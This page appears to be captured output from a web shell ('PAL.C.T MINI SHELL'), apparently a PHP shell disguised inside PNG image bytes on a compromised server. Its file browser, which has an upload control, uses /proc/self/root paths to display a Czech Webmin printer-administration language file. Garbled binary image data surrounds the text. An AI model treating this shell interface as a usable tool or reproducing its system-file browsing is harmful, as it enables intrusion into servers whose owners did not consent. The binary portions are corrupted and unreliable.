php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/lpadmin/lang/cs

index_title=Administrace tiskáren
index_header=Použitelné tiskárny
index_name=Tiskárna
index_desc=Popis
index_to=Tisknout na
index_driver=Ovladač
index_enabled=Povoleno?
index_accepting=Příjímá?
index_jobs=Úlohy
index_none=Nejsou nainstalovány ve vašem systému žádné tiskárny
index_list=seznam..
index_jlist=úlohy..
index_add=Přidat novou tiskárnu
index_stop=Ukončit plánovač
index_stopmsg=Klepnutím na toto tlačítko ukončíte běh procesu plánování tisku. To zapříčiní, že žádní lokální nebo vzdálení uživatelé nemohou ve vašem systému tisknout.
index_start=Spustit plánovač
index_startmsg=Klepnutím na toto tlačítko spustíte proces plánování tisku. To umožní lokálním i vzdáleným uživatelům tisknout ve vašem systému.
index_restart=Restartovat plánovače
index_restartmsg=Klepnutím na toto tlačítko restartujete proces plánování tisku. To zprovozní aktuální konfiguraci tisku.
index_return=seznam tiskáren
index_esystem=Buť budete instalovat software pro vámi zvolená tiskový systém, nebo použijete <a href='$1'>konfiguraci modulu</a>, který provede změny.

edit_eedit=Nemáte oprávnění editovat tuto tiskárnu
edit_eadd=Nemáte oprávnění přidávat tiskárny
edit_add=Vytvořit tiskárnu
edit_edit=Editovat tiskárnu
edit_conf=Konfigurace tiskárny
edit_name=Název
edit_acc=Bude akceptovat požadavky?
edit_why=Ne - Proč ne
edit_desc=Popis
edit_ena=Povolen tisk?
edit_acl=Kontrola přístupu
edit_allow=Povolit každému
edit_deny=Zakázat každému
edit_allowu=Povolit uživatelům ze seznamu..
edit_denyu=Zakázat uživatelům ze seznamu..
edit_banner=Tiskonout banner?
edit_opt=Volitelně
edit_default=Výchozí tiskárna?
edit_already=Již je výchozí tiskárnou
edit_max=Maximální velikost tiskových úloh
edit_unlimited=Neomezeno
edit_dacc=Ovladač přijímá
edit_dtext=Text
edit_dpost=Postscript
edit_dother=Jiné
edit_alt=Alternativní jména tiskáren
edit_dest=Cíl tisku
edit_dev=Lokální zařízení
edit_file=Lokální soubor
edit_remote=Vzálený Unix server
edit_rqueue=Tiskárna
edit_type=Typ
edit_smb=Vzdálený Windows server
edit_share=Tiskárna
edit_user=Uživatel
edit_pass=Heslo
edit_wgroup=Skupina
edit_hpnp=Vzdálený HPNP server
edit_port=Port
edit_direct=Přímé TCP připojení
edit_dport=Port
edit_driver=Ovladač tiskárny
edit_check=Zkontrolovat, zda je vzdálená tiskárna připravena?

blocks=blocky

save_err=Chyba při ukládání tiskárny
save_eadd=Nemáte oprávnění přidávat tiskárny
save_eedit=Nemáte oprávnění editovat tiskárnu
save_ename='$1' není platné jméno tiskárny
save_edup=Tiskárna nazvaná '$1' již existuje
save_eallow=Nebyly vloženi žádní uživatelé k povolení
save_edeny=Nebyly vloženi žádní uživatelé k zakázání
save_euser=Uživatel '$1' neexistuje
save_etype=Musíte vybrat pro příjem nejméně jeden typ pro tento ovladač
save_emax=Maximální velikost tiskových úloh musí být celé číslo
save_efile='$1' neexistuje
save_erhost=Vzdálený host '$1' neexistuje
save_erqueue='$1' není platný název vzdálené fronty
save_eremote=Ovladače nemohou být použity pro vzdálené Unix tiskárny
save_edhost=Přímý host '$1' neexistuje
save_edport=Chybějícínebo nesprávný přímý port

jobs_title=Tiskové úlohy
jobs_header=Tiskové úlohy na $1
jobs_id=ID úlohy
jobs_size=Velikost
jobs_by=Předložena od
jobs_when=Předložena k
jobs_file=Jméno souboru
jobs_cancel=Klepnutím na ID úlohy ve výše uvedeném seznamu dojde k jejímu stornování
jobs_cancelview=Klepnutím na ID úlohy ve výše uvedeném seznamu dojde k jejímu stornování, nebo klepnutím na velikost úlohy dojde k jejímu zobrazení.
jobs_none=Nejsou žádné tiskové úlohy v $1
jobs_all=Stornovat všechny tiskové úlohy
jobs_bytes=bytů
jobs_test=Zkušební stránka tiskárny

cancel_ecannot=Nemáte oprávnění stornovat tiskové úlohy
cancel_err=Chyba při stornování tiskové úlohy
cancel_egone=Tisková úloha $1 již neexistuje

view_ecannot=Nemáte oprávnění zobrazit tuto tiskovou úlohu
view_egone=Tato tisková úloha již neexistuje

start_ecannot=Nemáte oprávnění spustit plánovač
start_err=Chyba při spuštění spuštění plánovače

stop_ecannot=Nemáte oprávnění ukončit plánovač
stop_err=Chyba při ukončování plánovače

restart_ecannot=Nemáte oprávnění restartovat plánovač
restart_err=Chyba při restartování plánovače

webmin_none=Nic
webmin_nonemsg=Postscriptová nebo textová tiskárna
webmin_remotemsg=Vzdálená tiskárna
webmin_model=Model
webmin_prog=Program
webmin_driver=Webmin ovladač
webmin_uniprint=Uniprint ovladač
webmin_edrivers=Chyba při získávání ovladačů z $1. Webmin ovladače tiskáren použivající ghostscript nejsou k dispozici
webmin_egs=Příkaz $1 nebyl nalezen. Webmin ovladače tiskáren použivající ghostscript nejsou k dispozici
webmin_edriver='$1' neexistuje

caldera_none=Nic
caldera_nonemsg=Vzdálená nebo rastrová tiskárna
caldera_prog=Program
caldera_coas=COAS ovladač
caldera_printer=Tiskárna a rozlišení
caldera_eof=Poslat EOF?
caldera_paper=Velikost papíru
caldera_double=Tisknout oboustranně?
caldera_gsopts=Přídavná GS nastavení
caldera_uniprint=Uniprint ovladač
caldera_eprog='$1' neexistuje
caldera_edriver=Nebyl vybrán žádný ovladač tiskárny
caldera_eres=Nebylo zvoleno žádné rozlišení

redhat_none=Nic
redhat_nonemsg=Postscriptová nebo textová tiskárna
redhat_prog=Program
redhat_driver=Redhat ovladač
redhat_printer=Tiskárna a rozlišení
redhat_eof=Poslat EOF?
redhat_paper=Velikost papíru
redhat_pages=Počet stran na jedné výstupní stránce
redhat_gsopts=Přídavná GS nastavení
redhat_hmargin=Pravý/levý okraj
redhat_vmargin=Horní/dolní okraj
redhat_crlf=Fixovat stair-stepping text?
redhat_eprog='$1' neexistuje
redhat_edriver=Nebyl vybrán žádný ovladač tiskárny
redhat_ehmargin=Chybějící nebo nesprávný Missing or invalid pravý/levý okraj
redhat_evmargin=Chybějící nebo nesprávný Missing or invalid horní/dolní okraj
redhat_eres=Nebylo zvoleno žádné rozlišení
redhat_printer2=Model tiskárny a ovladač

suse_none=Nic
suse_nonemsg=Postscript nebo textová tiskárna
suse_prog=Program
suse_driver=APSfilter ovladač
suse_printer=Typ tiskárny
suse_res=Rozlišení v DPI
suse_colour=Barevná tiskárna
suse_paper=Velikost papíru
suse_method=Metoda filtru
suse_auto=Automatická
suse_ascii=ASCII
suse_raw=Rastr
suse_extra=Extra ghostscript nastavení
suse_yast2=YAST2 ovladač
suse_edriver=Nebyl vybrán žádný typ tiskárny
suse_eres=Chybějící nebo nesprávné rozlišení

estop=Chyba při ukončování lpd : $1

acl_printers=Tiskárny, které může tento uživatel konfigurovat
acl_add=Může přidat nové tiskárny?
acl_cancel=Může stornovat tisové úlohy?
acl_stop=Může spustit plánovač?
acl_restart=Pouze restartovat
acl_listed=Poue na vybraných tiskárnách ..
acl_pall=Všechny tiskárny
acl_psel=Vybrané..
acl_view=Zobrazit nekonfigurovatelné tiskárny?
acl_test=Může tiskonout zkušební stránku tiskárny?
acl_user=Spravovat tiskové úlohy vlastněné
acl_user_all=Všichni uživatelé
acl_user_this=Aktuální  uživatel Webminu

log_stop=Ukončen plánovač tisku
log_start=Spuštěn plánovač tisku
log_restart=Restartován plánovač tisku
log_cancel_job=Stornována tisková úloha $2 na $1
log_cancel_all=Stornovány všechny tisové úlohy na $1
log_create=Vytvořena tiskárna $1 na $2
log_modify=Modifikována tiskárna $1 na $2
log_delete=Smazána tiskárna $1 na $2
log_create_l=Vytvořena $3 tiskárna $1 na $2
log_modify_l=Modifikována $3 tiskárna $1 na $2
log_delete_l=Smazána $3 tiskárna $1 na $2

linux_paralel=Paralelní oort $1
linux_serial=Seriový oort $1 (COM$1)
linux_null=Null Device
linux_usb=USB tiskárna $1
linux_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že Linux tiskový systém není nainstalován.
linux_espool=Spool adresář $1 ve vašem systému neexistuje, což indikuje, že Linux tiskový systém není nainstalován.

freebsd_paralel=Paralelní port
freebsd_serial=Seriový port $1 (COM$1)
freebsd_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že FreeBSD tiskový systém není nainstalován.
freebsd_espool=Spool adresář $1 ve vašem systému neexistuje, což indikuje, že FreeBSD tiskový systém není nainstalován.

openbsd_paralel=Paralelní port
openbsd_serial=Seriový port $1 (COM$1)

unixware_paralel=Paralelní port $1
unixware_serial=Seriový port $1
unixware_null=Null Device
unixware_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že UnixWare tiskový systém není nainstalován.

hpux_paralel=Paralelní $1
hpux_serial=Seriový $1
hpux_null=Null Device
hpux_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že HPUX tiskový systém není nainstalován.
hpux_eiface=Adresář pro skripty rozhraní $1 ve vašem systému neexistuje, což indikuje, že HPUX tiskový systém není nainstalován.

lprng_paralel=Paralelní port $1
lprng_serial=Seriový port $1 (COM$1)
lprng_null=Null Device
lprng_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že LPRng tiskový systém není nainstalován.
lprng_espool=Spool adresář $1 ve vašem systému neexistuje, což indikuje, že LPRng tiskový systém není nainstalován.

solaris_paralel=Paralelní port
solaris_uparalel=Ultra 5/10 Paralelní port
solaris_serial=Seriový port $1
solaris_null=Null Device
solaris_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že Solaris tiskový systém není nainstalován.

test_title=Tisk zkušební stránky
test_ecannot=Nemáte oprávnění tisknout zkušební stránku
test_desc=Tento formulář umožňuje tisk zkušební stránky pro tiskárnu $1. Vyberte typ stránky, který chcete vytisknout :
test_0=Černobílá Postscript stránka
test_1=Barevná Postscript stránka
test_2=Plain ASCII text
test_3=Jakýkoliv stažený soubor
test_print=Tisknout stránku
test_exec=Tiskne se zkušební stránka pomocí příkazu $1 ..
test_failed=.. příkaz neproběhl!
test_ok=.. příkaz byl úspěšný.

cups_none=Nic
cups_nonemsg=Vzdálená nebo rastrová tiskárna
cups_prog=Program
cups_driver=CUPS driver
cups_eprog='$1' není platný program
cups_opts=Nastavení pro $1
cups_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že CUPS tiskový systém není nainstalován.

irix_ecmd=Příkaz $1 nemůže být ve vašem systému nalezen, což indikuje, že IRIX tiskový systém není nainstalován.
irix_eiface=Adresář pro skripty rozhraní $1 ve vašem systému neexistuje, což indikuje, že IRIX tiskový systém není nainstalován.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`